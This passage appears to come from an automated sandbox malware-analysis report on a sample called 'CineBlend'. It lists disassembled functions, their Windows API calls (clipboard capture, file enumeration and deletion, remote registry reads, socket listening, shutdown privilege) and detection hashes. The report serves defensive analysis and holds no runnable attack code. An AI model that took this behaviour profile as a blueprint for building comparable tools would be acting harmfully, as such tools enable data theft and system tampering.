                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Heap$Process$Security$Free$AllocDescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
                                  • String ID:
                                  • API String ID: 4175595110-0
                                  • Opcode ID: 13272952d98108355d9a8eeeb1d6c5394869c5db933c8bb9b15eb70f520187a0
                                  • Instruction ID: fdc902d6d9114d037e914b05fac382c0df523becbe1ac632e61772834e0eb318
                                  • Opcode Fuzzy Hash: 13272952d98108355d9a8eeeb1d6c5394869c5db933c8bb9b15eb70f520187a0
                                  • Instruction Fuzzy Hash: AD714EB690020AABDF10DFA9DC44FAEBBB8FF08350F194965E915E71A0DB319905DB60
                                  Function 00BAF55C Relevance: 30.2, APIs: 20, Instructions: 191clipboardfileCOMMON
                                  Download Yara Rule
                                  APIs
                                  • OpenClipboard.USER32(00BCDCD0), ref: 00BAF586
                                  • IsClipboardFormatAvailable.USER32(0000000D), ref: 00BAF594
                                  • GetClipboardData.USER32(0000000D), ref: 00BAF5A0
                                  • CloseClipboard.USER32 ref: 00BAF5AC
                                  • GlobalLock.KERNEL32(00000000), ref: 00BAF5E4
                                  • CloseClipboard.USER32 ref: 00BAF5EE
                                  • GlobalUnlock.KERNEL32(00000000), ref: 00BAF619
                                  • IsClipboardFormatAvailable.USER32(00000001), ref: 00BAF626
                                  • GetClipboardData.USER32(00000001), ref: 00BAF62E
                                  • GlobalLock.KERNEL32(00000000), ref: 00BAF63F
                                  • GlobalUnlock.KERNEL32(00000000), ref: 00BAF67F
                                  • IsClipboardFormatAvailable.USER32(0000000F), ref: 00BAF695
                                  • GetClipboardData.USER32(0000000F), ref: 00BAF6A1
                                  • GlobalLock.KERNEL32(00000000), ref: 00BAF6B2
                                  • DragQueryFileW.SHELL32(00000000,000000FF,00000000,00000000), ref: 00BAF6D4
                                  • DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 00BAF6F1
                                  • DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 00BAF72F
                                  • GlobalUnlock.KERNEL32(00000000), ref: 00BAF750
                                  • CountClipboardFormats.USER32 ref: 00BAF771
                                  • CloseClipboard.USER32 ref: 00BAF7B6
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Clipboard$Global$AvailableCloseDataDragFileFormatLockQueryUnlock$CountFormatsOpen
                                  • String ID:
                                  • API String ID: 420908878-0
                                  • Opcode ID: 3d935e953fb11a64af5d3da9ba730936138b10a8a78322602103821dcd419d8b
                                  • Instruction ID: 1e1a36d37c252beaa7995e868bc59b421b1102590fa0a41230fb5a5e0cf07711
                                  • Opcode Fuzzy Hash: 3d935e953fb11a64af5d3da9ba730936138b10a8a78322602103821dcd419d8b
                                  • Instruction Fuzzy Hash: F4615A39208202AFD310EF64D885EBAB7E4EF89744F1445B9F546872A2DF31DD45CB62
                                  Function 00BA73D4 Relevance: 21.4, APIs: 7, Strings: 5, Instructions: 363timefileCOMMON
                                  Download Yara Rule
                                  APIs
                                  • FindFirstFileW.KERNEL32(?,?), ref: 00BA7403
                                  • FindClose.KERNEL32(00000000), ref: 00BA7457
                                  • FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00BA7493
                                  • FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00BA74BA
                                    • Part of subcall function 00B3B329: _wcslen.LIBCMT ref: 00B3B333
                                  • FileTimeToSystemTime.KERNEL32(?,?), ref: 00BA74F7
                                  • FileTimeToSystemTime.KERNEL32(?,?), ref: 00BA7524
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Time$File$FindLocalSystem$CloseFirst_wcslen
                                  • String ID: %02d$%03d$%4d$%4d%02d%02d%02d%02d%02d$%4d%02d%02d%02d%02d%02d%03d
                                  • API String ID: 3830820486-3289030164
                                  • Opcode ID: 48a9dca1c526330d201ea82e1e46224e0d88963fcffe3eba3f8417199d48f186
                                  • Instruction ID: 8f54ee7ed1ffbc0ff1bff5733c68d347e1ec0e443cc66578d32ea2f0505dc3cf
                                  • Opcode Fuzzy Hash: 48a9dca1c526330d201ea82e1e46224e0d88963fcffe3eba3f8417199d48f186
                                  • Instruction Fuzzy Hash: 5ED14F72508344AEC310EBA4C885EBBB7ECEF89704F44499DF585D7292EB74DA44C762
                                  Function 00BAA087 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 118fileCOMMON
                                  Download Yara Rule
                                  APIs
                                  • FindFirstFileW.KERNEL32(?,?,74DE8FB0,?,00000000), ref: 00BAA0A8
                                  • GetFileAttributesW.KERNEL32(?), ref: 00BAA0E6
                                  • SetFileAttributesW.KERNEL32(?,?), ref: 00BAA100
                                  • FindNextFileW.KERNEL32(00000000,?), ref: 00BAA118
                                  • FindClose.KERNEL32(00000000), ref: 00BAA123
                                  • FindFirstFileW.KERNEL32(*.*,?), ref: 00BAA13F
                                  • SetCurrentDirectoryW.KERNEL32(?), ref: 00BAA18F
                                  • SetCurrentDirectoryW.KERNEL32(00BF7B94), ref: 00BAA1AD
                                  • FindNextFileW.KERNEL32(00000000,00000010), ref: 00BAA1B7
                                  • FindClose.KERNEL32(00000000), ref: 00BAA1C4
                                  • FindClose.KERNEL32(00000000), ref: 00BAA1D4
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Find$File$Close$AttributesCurrentDirectoryFirstNext
                                  • String ID: *.*
                                  • API String ID: 1409584000-438819550
                                  • Opcode ID: a1ce4e488ab22cbe75c7e7f2acb272199d952ca411120acd6e78ed09ee714e25
                                  • Instruction ID: 82f10ef1e51f3273e2acdbbba59dac4c1e123d4f9b828493fb2359ff083cc132
                                  • Opcode Fuzzy Hash: a1ce4e488ab22cbe75c7e7f2acb272199d952ca411120acd6e78ed09ee714e25
                                  • Instruction Fuzzy Hash: 5731C2356042197BDB20AFA4DC49EDE77ECDF4B361F1004E5E815E30A0EB70DA85CA65
                                  Function 00BA4763 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 101fileCOMMON
                                  Download Yara Rule
                                  APIs
                                  • GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00BA4785
                                  • _wcslen.LIBCMT ref: 00BA47B2
                                  • CreateDirectoryW.KERNEL32(?,00000000), ref: 00BA47E2
                                  • CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 00BA4803
                                  • RemoveDirectoryW.KERNEL32(?), ref: 00BA4813
                                  • DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 00BA489A
                                  • CloseHandle.KERNEL32(00000000), ref: 00BA48A5
                                  • CloseHandle.KERNEL32(00000000), ref: 00BA48B0
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove_wcslen
                                  • String ID: :$\$\??\%s
                                  • API String ID: 1149970189-3457252023
                                  • Opcode ID: ffa3eac1acd521c878be20e9bf854af3a5587801a535321453c69d8a5dbf7362
                                  • Instruction ID: dc6e834e58285b9d08abd9e83cb8f98e3cf1b04609573323de67585f534f032b
                                  • Opcode Fuzzy Hash: ffa3eac1acd521c878be20e9bf854af3a5587801a535321453c69d8a5dbf7362
                                  • Instruction Fuzzy Hash: EA31B2B5504249ABDB219FA4DC49FEB37FCEF8A701F1041F6F609D6060EBB496458B24
                                  Function 00BAA1E2 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 111fileCOMMON
                                  Download Yara Rule
                                  APIs
                                  • FindFirstFileW.KERNEL32(?,?,74DE8FB0,?,00000000), ref: 00BAA203
                                  • FindNextFileW.KERNEL32(00000000,?), ref: 00BAA25E
                                  • FindClose.KERNEL32(00000000), ref: 00BAA269
                                  • FindFirstFileW.KERNEL32(*.*,?), ref: 00BAA285
                                  • SetCurrentDirectoryW.KERNEL32(?), ref: 00BAA2D5
                                  • SetCurrentDirectoryW.KERNEL32(00BF7B94), ref: 00BAA2F3
                                  • FindNextFileW.KERNEL32(00000000,00000010), ref: 00BAA2FD
                                  • FindClose.KERNEL32(00000000), ref: 00BAA30A
                                  • FindClose.KERNEL32(00000000), ref: 00BAA31A
                                    • Part of subcall function 00B9E399: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 00B9E3B4
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Find$File$Close$CurrentDirectoryFirstNext$Create
                                  • String ID: *.*
                                  • API String ID: 2640511053-438819550
                                  • Opcode ID: dcb2aed5258db94aa15e488b279a6f017469284d86d75dba0664fc739484bbc9
                                  • Instruction ID: 997208314df1116b63d3820bf98730a9bfe799ba355be4b7c392eb47cb951018
                                  • Opcode Fuzzy Hash: dcb2aed5258db94aa15e488b279a6f017469284d86d75dba0664fc739484bbc9
                                  • Instruction Fuzzy Hash: 8531E37550421D6ACF20AFA4EC49FEE77ECDF4A325F1041E5E810A30A0DB31DE99CA65
                                  Function 00BBC8A4 Relevance: 17.0, APIs: 11, Instructions: 456registryCOMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00BBD3F8: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00BBC10E,?,?), ref: 00BBD415
                                    • Part of subcall function 00BBD3F8: _wcslen.LIBCMT ref: 00BBD451
                                    • Part of subcall function 00BBD3F8: _wcslen.LIBCMT ref: 00BBD4C8
                                    • Part of subcall function 00BBD3F8: _wcslen.LIBCMT ref: 00BBD4FE
                                  • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00BBC99E
                                  • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,?,?), ref: 00BBCA09
                                  • RegCloseKey.ADVAPI32(00000000), ref: 00BBCA2D
                                  • RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 00BBCA8C
                                  • RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 00BBCB47
                                  • RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,00000000), ref: 00BBCBB4
                                  • RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,00000000), ref: 00BBCC49
                                  • RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,00000000,?,?,?,00000000), ref: 00BBCC9A
                                  • RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,00000000), ref: 00BBCD43
                                  • RegCloseKey.ADVAPI32(?,?,00000000), ref: 00BBCDE2
                                  • RegCloseKey.ADVAPI32(00000000), ref: 00BBCDEF
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: QueryValue$Close_wcslen$BuffCharConnectOpenRegistryUpper
                                  • String ID:
                                  • API String ID: 3102970594-0
                                  • Opcode ID: a27d2690aaaec1f6845ac7366317d09fc02ea38d31e7ffca4d7c00a45155b447
                                  • Instruction ID: 53731c83ab478e7552997fee295d2d3cd49fd7ae9845ab9d1ddb549c63dddb6d
                                  • Opcode Fuzzy Hash: a27d2690aaaec1f6845ac7366317d09fc02ea38d31e7ffca4d7c00a45155b447
                                  • Instruction Fuzzy Hash: 73026F75604200AFD715DF28C895E7ABBE5EF48304F1884ADF849CB2A2DB71ED46CB91
                                  Function 00B9D921 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 172fileCOMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00B35851: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00B355D1,?,?,00B74B76,?,?,00000100,00000000,00000000,CMDLINE), ref: 00B35871
                                    • Part of subcall function 00B9EAB0: GetFileAttributesW.KERNEL32(?,00B9D840), ref: 00B9EAB1
                                  • FindFirstFileW.KERNEL32(?,?), ref: 00B9D9CD
                                  • DeleteFileW.KERNEL32(?,?,?,?,?,00000000,?,?,?), ref: 00B9DA88
                                  • MoveFileW.KERNEL32(?,?), ref: 00B9DA9B
                                  • DeleteFileW.KERNEL32(?,?,?,?), ref: 00B9DAB8
                                  • FindNextFileW.KERNEL32(00000000,00000010), ref: 00B9DAE2
                                    • Part of subcall function 00B9DB47: CopyFileExW.KERNEL32(?,?,00000000,00000000,00000000,00000008,?,?,00B9DAC7,?,?), ref: 00B9DB5D
                                  • FindClose.KERNEL32(00000000,?,?,?), ref: 00B9DAFE
                                  • FindClose.KERNEL32(00000000), ref: 00B9DB0F
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: File$Find$CloseDelete$AttributesCopyFirstFullMoveNameNextPath
                                  • String ID: \*.*
                                  • API String ID: 1946585618-1173974218
                                  • Opcode ID: ada81561a4fcca4a68900575870c976b988d1506539d1cfae056ae7b2c41f33e
                                  • Instruction ID: 450d2b5bdfd5fdb05e84fe00709baebaa2921325511ee38ff5380a876888b2b6
                                  • Opcode Fuzzy Hash: ada81561a4fcca4a68900575870c976b988d1506539d1cfae056ae7b2c41f33e
                                  • Instruction Fuzzy Hash: C4612735801109AACF15EFA1DA92DEDB7F5AF15300F2441F9E502B71A6EB31AF09CB60
                                  Function 00BAF7C7 Relevance: 13.6, APIs: 9, Instructions: 102clipboardmemoryCOMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Clipboard$AllocCloseEmptyGlobalOpen
                                  • String ID:
                                  • API String ID: 1737998785-0
                                  • Opcode ID: 6ca0c8376324e4116ecac7650d6ecdaeb499d3435b3ec0385e06d12cee99e4c3
                                  • Instruction ID: 71562185d125c7138844ef5b23a48fddf4e543795525d0d5e1232814ca37a924
                                  • Opcode Fuzzy Hash: 6ca0c8376324e4116ecac7650d6ecdaeb499d3435b3ec0385e06d12cee99e4c3
                                  • Instruction Fuzzy Hash: 80418D35608612EFD310CF55D888F69BBE4EF49318F14C4A9E8598F662CB35ED41CB90
                                  Function 00B9F20D Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 57shutdownCOMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00B92010: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00B9205A
                                    • Part of subcall function 00B92010: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00B92087
                                    • Part of subcall function 00B92010: GetLastError.KERNEL32 ref: 00B92097
                                  • ExitWindowsEx.USER32(?,00000000), ref: 00B9F249
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
                                  • String ID: $ $@$SeShutdownPrivilege
                                  • API String ID: 2234035333-3163812486
                                  • Opcode ID: 1442a49103b045d506c8fc85f6046082a5ef04ce9c5dcba02d052e6eeea0f55d
                                  • Instruction ID: 7109923837ae918a6b145d7d8424d0b43ff0ba40d9d20a3f7df4b8c8ba75a90e
                                  • Opcode Fuzzy Hash: 1442a49103b045d506c8fc85f6046082a5ef04ce9c5dcba02d052e6eeea0f55d
                                  • Instruction Fuzzy Hash: 6301D67A6102166BEF1467B89CCAFBA72ECDB08364F1545B1FD12E31E2D9609D0095A0
                                  Function 00BB1C61 Relevance: 12.1, APIs: 8, Instructions: 113networkCOMMON
                                  Download Yara Rule
                                  APIs
                                  • socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 00BB1CD3
                                  • WSAGetLastError.WSOCK32 ref: 00BB1CE0
                                  • bind.WSOCK32(00000000,?,00000010), ref: 00BB1D17
                                  • WSAGetLastError.WSOCK32 ref: 00BB1D22
                                  • closesocket.WSOCK32(00000000), ref: 00BB1D51
                                  • listen.WSOCK32(00000000,00000005), ref: 00BB1D60
                                  • WSAGetLastError.WSOCK32 ref: 00BB1D6A
                                  • closesocket.WSOCK32(00000000), ref: 00BB1D99
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: ErrorLast$closesocket$bindlistensocket
                                  • String ID:
                                  • API String ID: 540024437-0
                                  • Opcode ID: c5bc53b42b4cf7d13f821a6a8e1c9e2c67ca72a3daa35373e038bababfdb6767
                                  • Instruction ID: afe6abff60645a7b4cc5e6504681df97479dd2322b3e958c10cc93fee518a520
                                  • Opcode Fuzzy Hash: c5bc53b42b4cf7d13f821a6a8e1c9e2c67ca72a3daa35373e038bababfdb6767
                                  • Instruction Fuzzy Hash: 08416E756001009FD710DF28C495B6ABBF5EF49318F6885E8E8569F292C7B1EC81CBE1
                                  Function 00B6BCD2 Relevance: 10.9, APIs: 7, Instructions: 370timeCOMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • _free.LIBCMT ref: 00B6BD54
                                  • _free.LIBCMT ref: 00B6BD78
                                  • _free.LIBCMT ref: 00B6BEFF
                                  • GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00BD46D0), ref: 00B6BF11
                                  • WideCharToMultiByte.KERNEL32(00000000,00000000,00C0221C,000000FF,00000000,0000003F,00000000,?,?), ref: 00B6BF89
                                  • WideCharToMultiByte.KERNEL32(00000000,00000000,00C02270,000000FF,?,0000003F,00000000,?), ref: 00B6BFB6
                                  • _free.LIBCMT ref: 00B6C0CB
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: _free$ByteCharMultiWide$InformationTimeZone
                                  • String ID:
                                  • API String ID: 314583886-0
                                  • Opcode ID: 9f9d5ae0e24d29c05d093700737d165f075763f224b435e031cc0e09e084e6da
                                  • Instruction ID: 97da30c7f3f24606dad5b880e6a45454829251076124f723b9186eb1f11426c5
                                  • Opcode Fuzzy Hash: 9f9d5ae0e24d29c05d093700737d165f075763f224b435e031cc0e09e084e6da
                                  • Instruction Fuzzy Hash: 0EC117729002059FDB249F68CC45FAEBBF9EF45320F1445EAE585DB292E7398E81CB50
                                  Function 00B9DC54 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91fileCOMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00B35851: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00B355D1,?,?,00B74B76,?,?,00000100,00000000,00000000,CMDLINE), ref: 00B35871
                                    • Part of subcall function 00B9EAB0: GetFileAttributesW.KERNEL32(?,00B9D840), ref: 00B9EAB1
                                  • FindFirstFileW.KERNEL32(?,?), ref: 00B9DCCB
                                  • DeleteFileW.KERNEL32(?,?,?,?), ref: 00B9DD1B
                                  • FindNextFileW.KERNEL32(00000000,00000010), ref: 00B9DD2C
                                  • FindClose.KERNEL32(00000000), ref: 00B9DD43
                                  • FindClose.KERNEL32(00000000), ref: 00B9DD4C
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
                                  • String ID: \*.*
                                  • API String ID: 2649000838-1173974218
                                  • Opcode ID: 90623d3e4c3c2994f1ae639d8deba5e59dd953177bac39bf6207c1d4150051cb
                                  • Instruction ID: 4c3464ba79fbbe18ff4489d4eece0ef3579c9667712e9b4faba2262efc7da84f
                                  • Opcode Fuzzy Hash: 90623d3e4c3c2994f1ae639d8deba5e59dd953177bac39bf6207c1d4150051cb
                                  • Instruction Fuzzy Hash: A8315C35008385ABC700EF64C892CAFB7E8AE96300F504DADF5D583191EF21DA09CB67
                                  Function 00BA3A0E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60COMMON
                                  Download Yara Rule
                                  APIs
                                  • CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,?,?,?,00B756C2,?,?,00000000,00000000), ref: 00BA3A1E
                                  • FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,00B756C2,?,?,00000000,00000000), ref: 00BA3A35
                                  • LoadResource.KERNEL32(?,00000000,?,?,00B756C2,?,?,00000000,00000000,?,?,?,?,?,?,00B366CE), ref: 00BA3A45
                                  • SizeofResource.KERNEL32(?,00000000,?,?,00B756C2,?,?,00000000,00000000,?,?,?,?,?,?,00B366CE), ref: 00BA3A56
